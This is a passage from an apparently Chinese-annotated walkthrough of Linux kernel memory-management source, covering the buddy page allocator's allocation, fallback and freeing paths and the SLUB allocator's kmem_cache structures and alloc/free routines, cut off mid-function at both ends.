__mod_zone_page_state(zone, NR_FREE_PAGES, -(i << order));
// 解锁
spin_unlock(&zone->lock);
return alloced;
}
###### __rmqueue_smallest
static __always_inline
struct page *__rmqueue_smallest(struct zone *zone, unsigned int order,
int migratetype)
{
unsigned int current_order;
struct free_area *area;
struct page *page;
// 从指定order到MAX_ORDER遍历zone->free_area[]
for (current_order = order; current_order < MAX_ORDER; ++current_order) {
area = &(zone->free_area[current_order]);
// 从zone->free_area[][migratetype]->lru链表头部获得page()
page = get_page_from_free_area(area, migratetype);
if (!page)
continue;
// 从zone->free_area[][migratetype]->lru中删除page, 更新zone成员
del_page_from_free_area(page, area);
// 将current_order阶的page_block拆成小块,并将小块放到对应的阶的链表中去
expand(zone, page, order, current_order, area, migratetype);
// 设置page迁移类型
set_pcppage_migratetype(page, migratetype);
return page;
}
return NULL;
}
###### __rmqueue
static __always_inline struct page *
__rmqueue(struct zone *zone, unsigned int order, int migratetype,
unsigned int alloc_flags)
{
struct page *page;
retry:
// 使用__rmqueue_smallest获得page
page = __rmqueue_smallest(zone, order, migratetype);
if (unlikely(!page)) {
// page分配失败后, 如果迁移类型是MIGRATE_MOVABLE, 进入__rmqueue_cma_fallback
if (migratetype == MIGRATE_MOVABLE)
page = __rmqueue_cma_fallback(zone, order);
// page分配再次失败后使用判断是否可以使用备用迁移类型(如果可以则修改order, migratetype)然后跳转进入retry
if (!page && __rmqueue_fallback(zone, order, migratetype,
alloc_flags))
goto retry;
}
trace_mm_page_alloc_zone_locked(page, order, migratetype);
return page;
}
> * __rmqueue_fallback
>
1. 备用迁移类型
static int fallbacks[MIGRATE_TYPES][4] = {
[MIGRATE_UNMOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_MOVABLE, MIGRATE_TYPES },
[MIGRATE_MOVABLE] = { MIGRATE_RECLAIMABLE, MIGRATE_UNMOVABLE, MIGRATE_TYPES },
[MIGRATE_RECLAIMABLE] = { MIGRATE_UNMOVABLE, MIGRATE_MOVABLE, MIGRATE_TYPES },
#ifdef CONFIG_CMA
#endif
#ifdef CONFIG_MEMORY_ISOLATION
#endif
};
1. __rmqueue_fallback
static __always_inline bool
__rmqueue_fallback(struct zone *zone, int order, int start_migratetype,
unsigned int alloc_flags)
{
struct free_area *area;
int current_order;
int min_order = order;
struct page *page;
int fallback_mt;
bool can_steal;
// 如果设置alloc_flags为ALLOC_NOFRAGMENT(内存碎片优化), min_order=pageblock_order(MAX_ORDER-1)---尽可能分配大页
if (alloc_flags & ALLOC_NOFRAGMENT)
min_order = pageblock_order;
// 遍历zone->free_area[order](order=MAX_ORDER-1~min_order)
for (current_order = MAX_ORDER - 1; current_order >= min_order;
--current_order) {
area = &(zone->free_area[current_order]);
// 查找可以盗取的迁移类型
fallback_mt = find_suitable_fallback(area, current_order,
start_migratetype, false, &can_steal);
if (fallback_mt == -1)
continue;
// 如果can_steal=0且迁移类型为MIGRATE_MOVABLE, 当前所在的order大于需求order, 跳转进入find_smallest
// 这里的can_steal=0并不表示不能盗取, 只是对于迁移类型为MIGRATE_MOVABLE的内存分配需求有更好的解决方法(窃取和拆分最小的可用页块而不是最大的可用页块)所以单独列出
if (!can_steal && start_migratetype == MIGRATE_MOVABLE
&& current_order > order)
goto find_smallest;
goto do_steal;
}
return false;
find_smallest:
// 从最小的order开始遍历
for (current_order = order; current_order < MAX_ORDER;
current_order++) {
area = &(zone->free_area[current_order]);
fallback_mt = find_suitable_fallback(area, current_order,
start_migratetype, false, &can_steal);
if (fallback_mt != -1)
break;
}
VM_BUG_ON(current_order == MAX_ORDER);
do_steal:
// 获得备用迁移类型对应的page_block
page = get_page_from_free_area(area, fallback_mt);
// 判断直接盗取(改变page_block的迁移类型), 还是借用(分配但不改变页块迁移类型)
steal_suitable_fallback(zone, page, alloc_flags, start_migratetype,
can_steal);
trace_mm_page_alloc_extfrag(page, order, current_order,
start_migratetype, fallback_mt);
return true;
}
> > * find_suitable_fallback
>>
int find_suitable_fallback(struct free_area *area, unsigned int order,
int migratetype, bool only_stealable, bool *can_steal)
{
int i;
int fallback_mt;
// 判断该order内存链表是否为空
if (area->nr_free == 0)
return -1;
*can_steal = false;
for (i = 0;; i++) {
// 遍历备用迁移类型
fallback_mt = fallbacks[migratetype][i];
// MIGRATE_TYPES表示不可用, 退出
if (fallback_mt == MIGRATE_TYPES)
break;
// 如果area->free_list[fallback_mt]为空, 遍历下一个备用迁移类型
if (free_area_empty(area, fallback_mt))
continue;
// 判断是否可盗取
if (can_steal_fallback(order, migratetype))
*can_steal = true;
if (!only_stealable)
return fallback_mt;
if (*can_steal)
return fallback_mt;
}
return -1;
}
> > > * can_steal_fallback
>>>
static bool can_steal_fallback(unsigned int order, int start_mt)
{
// 判断order是否大于等于MAX_ORDER-1
if (order >= pageblock_order)
return true;
// 如果order>=(MAX_ORDER-1)/2 或者 迁移类型为MIGRATE_RECLAIMABLE, MIGRATE_UNMOVABLE 或者 page_group_by_mobility_disabled=1(gdb动调发现默认为0) 则表示可以盗取
if (order >= pageblock_order / 2 ||
start_mt == MIGRATE_RECLAIMABLE ||
start_mt == MIGRATE_UNMOVABLE ||
page_group_by_mobility_disabled)
return true;
return false;
}
#### _alloc_pages_slowpath
static inline struct page *
__alloc_pages_slowpath(gfp_t gfp_mask, unsigned int order,
struct alloc_context *ac)
{
bool can_direct_reclaim = gfp_mask & __GFP_DIRECT_RECLAIM;
// PAGE_ALLOC_COSTLY_ORDER=3
const bool costly_order = order > PAGE_ALLOC_COSTLY_ORDER;
struct page *page = NULL;
unsigned int alloc_flags;
unsigned long did_some_progress;
enum compact_priority compact_priority;
enum compact_result compact_result;
int compaction_retries;
int no_progress_loops;
unsigned int cpuset_mems_cookie;
int reserve_flags;
// 如果内存分配标志包含__GFP_ATOMIC(来自不能阻塞或延迟和失败没有回调的原子上下文的请求), __GFP_DIRECT_RECLAIM(可以直接回收, 表示有回收需要时会阻塞请求), 明显二者冲突, 此处做一个校验
if (WARN_ON_ONCE((gfp_mask & (__GFP_ATOMIC|__GFP_DIRECT_RECLAIM)) ==
(__GFP_ATOMIC|__GFP_DIRECT_RECLAIM)))
gfp_mask &= ~__GFP_ATOMIC;
retry_cpuset:
compaction_retries = 0;
no_progress_loops = 0;
compact_priority = DEF_COMPACT_PRIORITY;
cpuset_mems_cookie = read_mems_allowed_begin();
// 降低要求, 重新构建标志位
alloc_flags = gfp_to_alloc_flags(gfp_mask);
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->high_zoneidx, ac->nodemask);
if (!ac->preferred_zoneref->zone)
goto nopage;
// 如果设置了ALLOC_KSWAPD, 则唤醒交换进程
if (alloc_flags & ALLOC_KSWAPD)
wake_all_kswapds(order, gfp_mask, ac);
// 内存调整后再次分配
page = get_page_from_freelist(gfp_mask, order, alloc_flags, ac);
if (page)
goto got_pg;
// 如果满足以下条件则尝试进行内存压缩
// 1. 如果标识__GFP_DIRECT_RECLAIM&ALLOC_NO_WATERMARK且order>3(costly_order=1)则进入__alloc_pages_direct_compact
// 2. 如果标识__GFP_DIRECT_RECLAIM&ALLOC_NO_WATERMARK且order<3(costly_order=0)且迁移类型不为MIGRATE_MOVABLE则进入__alloc_pages_direct_compact
if (can_direct_reclaim &&
(costly_order ||
(order > 0 && ac->migratetype != MIGRATE_MOVABLE))
&& !gfp_pfmemalloc_allowed(gfp_mask)) {
page = __alloc_pages_direct_compact(gfp_mask, order,
alloc_flags, ac,
INIT_COMPACT_PRIORITY,
&compact_result);
if (page)
goto got_pg;
// 设置压缩参数, 后面会专门讲解这部分
if (order >= pageblock_order && (gfp_mask & __GFP_IO) &&
!(gfp_mask & __GFP_RETRY_MAYFAIL)) {
if (compact_result == COMPACT_SKIPPED ||
compact_result == COMPACT_DEFERRED)
goto nopage;
}
if (costly_order && (gfp_mask & __GFP_NORETRY)) {
if (compact_result == COMPACT_DEFERRED)
goto nopage;
compact_priority = INIT_COMPACT_PRIORITY;
}
}
retry:
// 再次唤醒交换进程
if (alloc_flags & ALLOC_KSWAPD)
wake_all_kswapds(order, gfp_mask, ac);
reserve_flags = __gfp_pfmemalloc_flags(gfp_mask);
if (reserve_flags)
alloc_flags = reserve_flags;
// 如果cpu不允许在zone所在node中分配内存且可以进行no_water_mark分配则通过ac->nodemask = NULL降低内存分配标准, 再次分配
if (!(alloc_flags & ALLOC_CPUSET) || reserve_flags) {
ac->nodemask = NULL;
ac->preferred_zoneref = first_zones_zonelist(ac->zonelist,
ac->high_zoneidx, ac->nodemask);
}
page = get_page_from_freelist(gfp_mask, order, alloc_flags, ac);
if (page)
goto got_pg;
if (!can_direct_reclaim)
goto nopage;
if (current->flags & PF_MEMALLOC)
goto nopage;
// 内存回收后分配内存
page = __alloc_pages_direct_reclaim(gfp_mask, order, alloc_flags, ac,
&did_some_progress);
if (page)
goto got_pg;
// 内存压缩后分配内存
page = __alloc_pages_direct_compact(gfp_mask, order, alloc_flags, ac,
compact_priority, &compact_result);
if (page)
goto got_pg;
if (gfp_mask & __GFP_NORETRY)
goto nopage;
if (costly_order && !(gfp_mask & __GFP_RETRY_MAYFAIL))
goto nopage;
// 分析是否应该再次内存回收
if (should_reclaim_retry(gfp_mask, order, ac, alloc_flags,
did_some_progress > 0, &no_progress_loops))
goto retry;
// 分析是否应该再次内存压缩
if (did_some_progress > 0 &&
should_compact_retry(ac, order, alloc_flags,
compact_result, &compact_priority,
&compaction_retries))
goto retry;
if (check_retry_cpuset(cpuset_mems_cookie, ac))
goto retry_cpuset;
// 杀死一些进程以获得内存
page = __alloc_pages_may_oom(gfp_mask, order, ac, &did_some_progress);
if (page)
goto got_pg;
if (tsk_is_oom_victim(current) &&
(alloc_flags == ALLOC_OOM ||
(gfp_mask & __GFP_NOMEMALLOC)))
goto nopage;
if (did_some_progress) {
no_progress_loops = 0;
goto retry;
}
nopage:
if (check_retry_cpuset(cpuset_mems_cookie, ac))
goto retry_cpuset;
if (gfp_mask & __GFP_NOFAIL) {
if (WARN_ON_ONCE(!can_direct_reclaim))
goto fail;
WARN_ON_ONCE(current->flags & PF_MEMALLOC);
WARN_ON_ONCE(order > PAGE_ALLOC_COSTLY_ORDER);
// 使用ALLOC_HARDER标志进行内存分配
page = __alloc_pages_cpuset_fallback(gfp_mask, order, ALLOC_HARDER, ac);
if (page)
goto got_pg;
cond_resched();
goto retry;
}
fail:
warn_alloc(gfp_mask, ac->nodemask,
"page allocation failure: order:%u", order);
got_pg:
return page;
}
## _free_pages源码分析
void __free_pages(struct page *page, unsigned int order)
{
// 检查并更新(-1)page->_refcount, 当page->_refcount=0时, return true
if (put_page_testzero(page))
// 如果order=0 --> free_unref_page
// 如果order>0 --> __free_pages_ok
free_the_page(page, order);
}
### free_unref_page
* free_unref_page -> free_unref_page_commit
static void free_unref_page_commit(struct page *page, unsigned long pfn)
{
struct zone *zone = page_zone(page);
struct per_cpu_pages *pcp;
int migratetype;
// 获得迁移类型
migratetype = get_pcppage_migratetype(page);
__count_vm_event(PGFREE);
// pcp_list 只放置unmovable, reclaimable, movable类型page
// 大于等于MIGRATE_PCPTYPES的迁移类型中MIGRATE_ISOLATE不能被放入pcp
if (migratetype >= MIGRATE_PCPTYPES) {
if (unlikely(is_migrate_isolate(migratetype))) {
// 放入伙伴系统
free_one_page(zone, page, pfn, 0, migratetype);
return;
}
migratetype = MIGRATE_MOVABLE;
}
pcp = &this_cpu_ptr(zone->pageset)->pcp;
// 将page放入pcp->lists[migratetype]链表表头
list_add(&page->lru, &pcp->lists[migratetype]);
pcp->count++;
// 如果pcp->count(pcp中页数目) >= pcp->high(pcp中最大页数目), 则将多余的page放入伙伴系统
if (pcp->count >= pcp->high) {
unsigned long batch = READ_ONCE(pcp->batch);
free_pcppages_bulk(zone, batch, pcp);
}
}
#### free_pcppages_bulk
static void free_pcppages_bulk(struct zone *zone, int count,
struct per_cpu_pages *pcp)
{
int migratetype = 0;
int batch_free = 0;
int prefetch_nr = 0;
bool isolated_pageblocks;
struct page *page, *tmp;
LIST_HEAD(head);
count = min(pcp->count, count);
// 通过循环遍历迁移类型列表, 依次递增删除页数(batch_free)
while (count) {
struct list_head *list;
do {
batch_free++;
// 循环查询pcp->lists[migratetype]
if (++migratetype == MIGRATE_PCPTYPES)
migratetype = 0;
list = &pcp->lists[migratetype];
} while (list_empty(list));
// 只有一个迁移类型非空, 在这里释放全部count
if (batch_free == MIGRATE_PCPTYPES)
batch_free = count;
do {
// 从列表尾部获得page
page = list_last_entry(list, struct page, lru);
list_del(&page->lru);
pcp->count--;
if (bulkfree_pcp_prepare(page))
continue;
// 将取出的page全部放入以head为头的链表中
list_add_tail(&page->lru, &head);
// 数据预取可以加快速度
if (prefetch_nr++ < pcp->batch)
prefetch_buddy(page);
} while (--count && --batch_free && !list_empty(list));
}
spin_lock(&zone->lock);
isolated_pageblocks = has_isolate_pageblock(zone);
list_for_each_entry_safe(page, tmp, &head, lru) {
// 获得迁移类型
int mt = get_pcppage_migratetype(page);
// 迁移类型不能是isolated
VM_BUG_ON_PAGE(is_migrate_isolate(mt), page);
if (unlikely(isolated_pageblocks))
mt = get_pageblock_migratetype(page);
// 释放page进入伙伴算法
__free_one_page(page, page_to_pfn(page), zone, 0, mt);
trace_mm_page_pcpu_drain(page, 0, mt);
}
spin_unlock(&zone->lock);
}
### __free_pages_ok
* __free_pages_ok -> free_one_page
static void free_one_page(struct zone *zone,
struct page *page, unsigned long pfn,
unsigned int order,
int migratetype)
{
spin_lock(&zone->lock);
// 判断zone是否存在isolate迁移类型, page是否是isolate迁移类型(一般没有这个配置)
if (unlikely(has_isolate_pageblock(zone) ||
is_migrate_isolate(migratetype))) {
migratetype = get_pfnblock_migratetype(page, pfn);
}
__free_one_page(page, pfn, zone, order, migratetype);
spin_unlock(&zone->lock);
}
#### __free_one_page
static inline void __free_one_page(struct page *page,
unsigned long pfn,
struct zone *zone, unsigned int order,
int migratetype)
{
unsigned long combined_pfn;
unsigned long uninitialized_var(buddy_pfn);
struct page *buddy;
unsigned int max_order;
struct capture_control *capc = task_capc(zone);
max_order = min_t(unsigned int, MAX_ORDER, pageblock_order + 1);
VM_BUG_ON(!zone_is_initialized(zone));
VM_BUG_ON_PAGE(page->flags & PAGE_FLAGS_CHECK_AT_PREP, page);
VM_BUG_ON(migratetype == -1);
if (likely(!is_migrate_isolate(migratetype)))
// 更新zone状态
__mod_zone_freepage_state(zone, 1 << order, migratetype);
VM_BUG_ON_PAGE(pfn & ((1 << order) - 1), page);
VM_BUG_ON_PAGE(bad_range(zone, page), page);
continue_merging:
// 循环遍历直到order = max_order - 1
while (order < max_order - 1) {
if (compaction_capture(capc, page, order, migratetype)) {
__mod_zone_freepage_state(zone, -(1 << order),
migratetype);
return;
}
// buddy_pfn = page_pfn ^ (1 << order);
// 定位兄弟页
buddy_pfn = __find_buddy_pfn(pfn, order);
// 获得兄弟页的struct page
buddy = page + (buddy_pfn - pfn);
// 判断buddy_pfn是否有效
if (!pfn_valid_within(buddy_pfn))
goto done_merging;
// 1. buddy_ord == order
// 2. buddy_zone == zone
// 3. buddy->_refcount == 0
// 若满足以上条件则buddy可合并
if (!page_is_buddy(page, buddy, order))
goto done_merging;
// it is CONFIG_DEBUG_PAGEALLOC guard page
if (page_is_guard(buddy))
clear_page_guard(zone, buddy, order, migratetype);
else
// 将buddy从对应free_area[order]中删除
del_page_from_free_area(buddy, &zone->free_area[order]);
// 设置合并页的struct page以及pfn
combined_pfn = buddy_pfn & pfn;
page = page + (combined_pfn - pfn);
pfn = combined_pfn;
order++;
}
if (max_order < MAX_ORDER) {
/* If we are here, it means order is >= pageblock_order.
* We want to prevent merge between freepages on isolate
* pageblock and normal pageblock. Without this, pageblock
* isolation could cause incorrect freepage or CMA accounting.
*
* We don't want to hit this code for the more frequent
* low-order merging.
*/
if (unlikely(has_isolate_pageblock(zone))) {
int buddy_mt;
buddy_pfn = __find_buddy_pfn(pfn, order);
buddy = page + (buddy_pfn - pfn);
buddy_mt = get_pageblock_migratetype(buddy);
if (migratetype != buddy_mt
&& (is_migrate_isolate(migratetype) ||
is_migrate_isolate(buddy_mt)))
goto done_merging;
}
max_order++;
goto continue_merging;
}
done_merging:
// 设置page的阶数, 将page标记为伙伴系统页
set_page_order(page, order);
// 如果page并不是最大的page, 检查伙伴页是否是free状态的, 如果是, 但是上述步骤合并失败则有可能伙伴页正在被释放, 这时候应该把page放在zone->free_area[order]尾部(延缓page被分配出去), 这样等伙伴页释放完成后就可以一起被合并成更大的page了
if ((order < MAX_ORDER-2) && pfn_valid_within(buddy_pfn)
&& !is_shuffle_order(order)) {
struct page *higher_page, *higher_buddy;
combined_pfn = buddy_pfn & pfn;
higher_page = page + (combined_pfn - pfn);
buddy_pfn = __find_buddy_pfn(combined_pfn, order + 1);
higher_buddy = higher_page + (buddy_pfn - combined_pfn);
if (pfn_valid_within(buddy_pfn) &&
page_is_buddy(higher_page, higher_buddy, order + 1)) {
// 把page置入zone->free_area[order]链表尾部
add_to_free_area_tail(page, &zone->free_area[order],
migratetype);
return;
}
}
if (is_shuffle_order(order))
// 获得随机数, 随机决定放在头还是尾???
add_to_free_area_random(page, &zone->free_area[order],
migratetype);
else
// 把page置入zone->free_area[order]链表头部
add_to_free_area(page, &zone->free_area[order], migratetype);
}
## slub算法
* slab_debug 下的object:
* kmem_cache缓冲区建立后, 所有内存空间用POISON_INUSE(0X5a)填充
* object被释放后用POISON_FREE(0X6b)填充
* read_left_pad, red_zone用特殊字节填充, 用作magic_num
* kmem_cache_alloc概略图
* kmem_cache_free概略图
### 结构体解析
* kmem_cache结构体
struct kmem_cache {
struct kmem_cache_cpu __percpu *cpu_slab; // per cpu变量, cpu本地内存缓存池, 存储slab
slab_flags_t flags; // object分配掩码
unsigned long min_partial; // kmem_cache_node中的partial链表slab的数量上限, 超过限度多余的slab会被释放
unsigned int size; // 被分配的object真实大小
unsigned int object_size; // 用户申请的obj_size
unsigned int offset; // slub将要被分配出去的obj中存储下一个空闲obj指针(next_obj), 而存储这个空闲obj指针的地址就用obj->offset来表示
#ifdef CONFIG_SLUB_CPU_PARTIAL
unsigned int cpu_partial; // 如果cpu_slab中存在partial链表, 那么该值将作为partial链表数量上限, 超过上限后全部slab将被转移到kmem_cache_node中的partial链表
#endif
struct kmem_cache_order_objects oo; // 低16位代表一个slab中所有object的数量(oo & ((1 << 16) - 1)), 高16位代表一个slab管理的page数量((2^(oo 16)) pages)
struct kmem_cache_order_objects max; // max=oo, 表示最大分配量
struct kmem_cache_order_objects min; // min功能与oo, max相同, 表示最小分配量
gfp_t allocflags; // 从伙伴系统继承的内存掩码
int refcount; // 重用计数器, 当用户请求创建的slub分配器大小与已经创建的slub分配器相似时, 计数+1, 进行slub重用
unsigned int inuse; // 元数据偏移量
unsigned int align; // 字节对齐大小
const char *name; // sysfs文件系统显示使用
struct list_head list; // 挂载所有的slab
...
struct kmem_cache_node *node[MAX_NUMNODES]; // slab节点
};
* kmem_cache_cpu结构体
struct kmem_cache_cpu {
void **freelist; // 指向下一个可用空闲obj
unsigned long tid; // 相当于cpu的标识, 用于辨别cpu是否被抢占, 用于同步
struct page *page; // 当前正在被分配的slab
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct page *partial; // 指向曾分配完所有的obj，但当前已回收至少一个对象的slab
#endif
};
* kmem_cache_node结构体
struct kmem_cache_node {
spinlock_t list_lock; // 保护node资源的自旋锁
#ifdef CONFIG_SLUB
unsigned long nr_partial; // 本结点partial_slab数目
struct list_head partial; // partial_slab链表
#endif
};
## kmem_cache_alloc源码分析
* kmem_cache_alloc() -> slab_alloc() -> slab_alloc_node()
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
gfp_t gfpflags, int node, unsigned long addr)
{
void *object;
struct kmem_cache_cpu *c;
struct page *page;
unsigned long tid;
// 对keme_cache做预处理
s = slab_pre_alloc_hook(s, gfpflags);
if (!s)
return NULL;
redo:
// tid, c是通过两次读取cpu获得, 如果抢占模式被开启, 有可能两次获取的cpu不同, 这里每次读取tid和c之后都会比较tid是否等于c->tid, 如果不相等, 则说明两次数据读取对应的cpu不同, 则再次读取数据, 直至相同(构造的很精巧, 比关闭抢占提升了效率)
do {
tid = this_cpu_read(s->cpu_slab->tid);
c = raw_cpu_ptr(s->cpu_slab);
} while (IS_ENABLED(CONFIG_PREEMPT) &&
unlikely(tid != READ_ONCE(c->tid)));
// 屏障, 保证上面和下面的代码因为优化而相互影响
barrier();
object = c->freelist;
page = c->page;
// 如果当前cpu的空闲列表为空或当前正在使用的页为空或page->node与node不匹配则进入__slab_alloc慢分配
if (unlikely(!object || !page || !node_match(page, node))) {
object = __slab_alloc(s, gfpflags, node, addr, c);
stat(s, ALLOC_SLOWPATH);
} else {
// freepointer_addr = (unsigned long)object + s->offset;
// probe_kernel_read(&p, (void **)freepointer_addr, sizeof(p));
// return freelist_ptr(s, p, freepointer_addr);
// get_freepointer_safe: 通过s->offset偏移获得存储下一个空闲obj的地址, 然后使用probe_kernel_read安全的将obj地址写入p中, freelist_ptr在没有定义CONFIG_SLAB_FREELIST_HARDENED时直接返回p
void *next_object = get_freepointer_safe(s, object);
// 判断this_cpu(s->cpu_slab->freelist)是否等于object且this_cpu(s->cpu_slab->tid)是否等于tid, 如果成立则this_cpu(s->cpu_slab->freelist)=next_object, this_cpu(s->cpu_slab->tid)=tid+1, 否则return false
// this_cpu_cmpxchg_double将上诉操作变成原子操作
if (unlikely(!this_cpu_cmpxchg_double(
s->cpu_slab->freelist, s->cpu_slab->tid,
object, tid,
next_object, next_tid(tid)))) {
// 如果失败则重新获取obj
note_cmpxchg_failure("slab_alloc", s, tid);
goto redo;
}
// 预热链表, 增加下次命中几率
prefetch_freepointer(s, next_object);
// 记录状态
stat(s, ALLOC_FASTPATH);
}
maybe_wipe_obj_freeptr(s, object);
if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object)
memset(object, 0, s->object_size);
// 分析了以下这里kasan_slab_alloc直接返回原值, kmemleak_alloc_recursive为空, 如果slab开始分配时memcg_kmem_enabled有意义, 这里再做一下后续的扫尾工作(因为是hook函数所以初始功能极少)
slab_post_alloc_hook(s, gfpflags, 1, &object);
return object;
}
### __slab_alloc
* **slab_alloc - > **_slab_alloc
static void *___slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node,
unsigned long addr, struct kmem_cache_cpu *c)
{
void *freelist;
struct page *page;
// 如果c->page为空, 代表cpu_slab中没有可用slab, 进入new_slab向cpu_slab中填充可用slab
page = c->page;
if (!page) {
// 如果node不在线或者node没有正常内存, 则忽略node约束
if (unlikely(node != NUMA_NO_NODE &&
!node_state(node, N_NORMAL_MEMORY)))
node = NUMA_NO_NODE;
goto new_slab;
}
redo:
// 判断page->node与node是否相同
if (unlikely(!node_match(page, node))) {
// node_state: return 0
if (!node_state(node, N_NORMAL_MEMORY)) {
node = NUMA_NO_NODE;
goto redo;
} else {
// 记录状态node_miss_match
stat(s, ALLOC_NODE_MISMATCH);
// 将cpu_slab中的page放入node中
deactivate_slab(s, page, c->freelist, c);
goto new_slab;
}
}
// PF_MEMALLOC: 忽略内存管理的水印进行分配, 分配失败则不再尝试, 如果当前page是pfmemalloc属性, 则调用deactivate_slab
if (unlikely(!pfmemalloc_match(page, gfpflags))) {
deactivate_slab(s, page, c->freelist, c);
goto new_slab;
}
// 检查freelist, 防止cpu迁移或中断导致freelist非空
freelist = c->freelist;
if (freelist)
goto load_freelist;
// 从c->page中获得freelist
freelist = get_freelist(s, page);
if (!freelist) {
c->page = NULL;
stat(s, DEACTIVATE_BYPASS);
goto new_slab;
}
stat(s, ALLOC_REFILL);
load_freelist:
// c->page对应被分配的obj所在的page, 应该被cpu冻结
VM_BUG_ON(!c->page->frozen);
// 更新cpu_slab的freelist, tid
c->freelist = get_freepointer(s, freelist);
c->tid = next_tid(c->tid);
return freelist;
new_slab:
// 判断cpu_slab是否存在partial_slab(部分空间被使用的page)
if (slub_percpu_partial(c)) {
// 将partial_slab作为c->page(用来分配obj)
page = c->page = slub_percpu_partial(c);
// #define slub_set_percpu_partial(c, p) (slub_percpu_partial(c) = (p)->next;})
// 更新partial链表头为page->next
slub_set_percpu_partial(c, page);
stat(s, CPU_PARTIAL_ALLOC);
goto redo;
}
// new_slab_objects: 1. get_partial(从node->partial获取page) 2. new_slab(伙伴算法获取page)
// 从上述page中获得freelist
freelist = new_slab_objects(s, gfpflags, node, &c);
if (unlikely(!freelist)) {
// 内存分配失败
// 配置CONFIG_SLUB_DEBUG后会打印报错信息
slab_out_of_memory(s, gfpflags, node);
return NULL;
}
page = c->page;
if (likely(!kmem_cache_debug(s) && pfmemalloc_match(page, gfpflags)))
goto load_freelist;
// kmem_cache_debug判断kmem_cache标志位是否包含SLAB_DEBUG_FLAGS
// alloc_debug_processing: return 0
if (kmem_cache_debug(s) &&
!alloc_debug_processing(s, page, freelist, addr))
goto new_slab;
deactivate_slab(s, page, get_freepointer(s, freelist), c);
return freelist;
}
#### get_freelist
static inline void *get_freelist(struct kmem_cache *s, struct page *page)
{
struct page new;
unsigned long counters;
void *freelist;
do {
freelist = page->freelist;
counters = page->counters;
// 获得下一个freelist
new.counters = counters;
VM_BUG_ON(!new.frozen);
new.inuse = page->objects;
// The page is still frozen if the return value is not NULL.
new.frozen = freelist != NULL;
// page->freelist=NULL, page->counters=new.counters
// 将page->freelist从page中摘除, 后续会放进cpu_slab->freelist中
} while (!__cmpxchg_double_slab(s, page,
freelist, counters,
NULL, new.counters,
"get_freelist"));
return freelist;
}
## kmem_cache_free源码分析
1. kmem_cache_free -> cache_from_obj(定位目标kmem_cache)
2. kmem_cache_free -> slab_free
static __always_inline void slab_free(struct kmem_cache *s, struct page *page,
void *head, void *tail, int cnt,
unsigned long addr)
{
if (slab_free_freelist_hook(s, &head, &tail))
do_slab_free(s, page, head, tail, cnt, addr);
}
* slab_free -> slab_free_freelist_hook
* slab_free -> do_slab_free
### cache_from_obj
static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x)
{
struct kmem_cache *cachep;
// 如果memcg没有开启且没有配置CONFIG_SLAB_FREELIST_HARDENED,kem_cache没有配置SLAB_CONSISTENCY_CHECKS, 则直接返回用户选择的kmem_cache
if (!memcg_kmem_enabled() &&
!IS_ENABLED(CONFIG_SLAB_FREELIST_HARDENED) &&
!unlikely(s->flags & SLAB_CONSISTENCY_CHECKS))
return s;
// virt_to_cache -> virt_to_head_page -> virt_to_page获得page
// 返回page->slab_cache作为kmem_cache(因为用户选择的kmem_cache不可信)
cachep = virt_to_cache(x);
WARN_ONCE(cachep && !slab_equal_or_root(cachep, s),
"%s: Wrong slab cache. %s but object is from %s\n",
__func__, s->name, cachep->name);
return cachep;
}
### slab_free_freelist_hook
static inline bool slab_free_freelist_hook(struct kmem_cache *s,
void **head, void **tail)
{
void *object;
void *next = *head;
void *old_tail = *tail ? *tail : *head;
int rsize;
*head = NULL;
*tail = NULL;
do {
// 依次遍历freelist
object = next;
next = get_freepointer(s, object);
if (slab_want_init_on_free(s)) {
// 将object清空(red_zone区域除外)
memset(object, 0, s->object_size);
rsize = (s->flags & SLAB_RED_ZONE) ? s->red_left_pad
: 0;
memset((char *)object + s->inuse, 0,
s->size - s->inuse - rsize);
}
// slab_free_hook内部功能函数实现为空 return false
if (!slab_free_hook(s, object)) {
// *object->offset=*head
set_freepointer(s, object, *head);
*head = object;
if (!*tail)
*tail = object;
}
} while (object != old_tail);
if (*head == *tail)
*tail = NULL;
return *head != NULL;
}
### do_slab_free
static __always_inline void do_slab_free(struct kmem_cache *s,
struct page *page, void *head, void *tail,
int cnt, unsigned long addr)
{
void *tail_obj = tail ? : head;
struct kmem_cache_cpu *c;
unsigned long tid;
redo:
// 使用tid保持cpu同步
do {
tid = this_cpu_read(s->cpu_slab->tid);
c = raw_cpu_ptr(s->cpu_slab);
} while (IS_ENABLED(CONFIG_PREEMPT) &&
unlikely(tid != READ_ONCE(c->tid)));
// 和slab_alloc_node()中的barrier作用相同
barrier();
// 如果待释放obj所属的page并不是cpu_slab对应的page则进入__slab_free慢释放
if (likely(page == c->page)) {
void **freelist = READ_ONCE(c->freelist);
// tail_obj是待插入的obj, set_freepointer: *(tail_obj->offset)=freelist(原freelist)
set_freepointer(s, tail_obj, freelist);
// 验证cpu没有被抢占后, 使得s->cpu_slab->freelist=head(tail_obj), tid=next_tid(tid), tail_obj成功插入
if (unlikely(!this_cpu_cmpxchg_double(
s->cpu_slab->freelist, s->cpu_slab->tid,
freelist, tid,
head, next_tid(tid)))) {
note_cmpxchg_failure("slab_free", s, tid);
goto redo;
}
stat(s, FREE_FASTPATH);
} else
__slab_free(s, page, head, tail_obj, cnt, addr);
}
#### __slab_free
static void __slab_free(struct kmem_cache *s, struct page *page,
void *head, void *tail, int cnt,
unsigned long addr)
{
void *prior;
int was_frozen;
struct page new;
unsigned long counters;
struct kmem_cache_node *n = NULL;
// uninitialized_var消除没有初始化的警告
unsigned long uninitialized_var(flags);
stat(s, FREE_SLOWPATH);
if (kmem_cache_debug(s) &&
!free_debug_processing(s, page, head, tail, cnt, addr))
return;
do {
// n置空, 释放free_debug_processing()设置的自旋锁
if (unlikely(n)) {
spin_unlock_irqrestore(&n->list_lock, flags);
n = NULL;
}
prior = page->freelist;
counters = page->counters;
// tail是待插入的obj, set_freepointer: *(tail_obj->offset)=freelist(原freelist)
set_freepointer(s, tail, prior);
new.counters = counters;
was_frozen = new.frozen;
// inuse_obj = inuse_obj - cnt, 当前page释放了cnt(1)个obj
new.inuse -= cnt;
// 如果该page(不存在正被使用的obj或者无可被使用的obj)且没有被冻结(不属于cpu_slab), 说明正在被释放的obj是该page的最后一个被使用的obj, 该page可被放入buddy
if ((!new.inuse || !prior) && !was_frozen) {
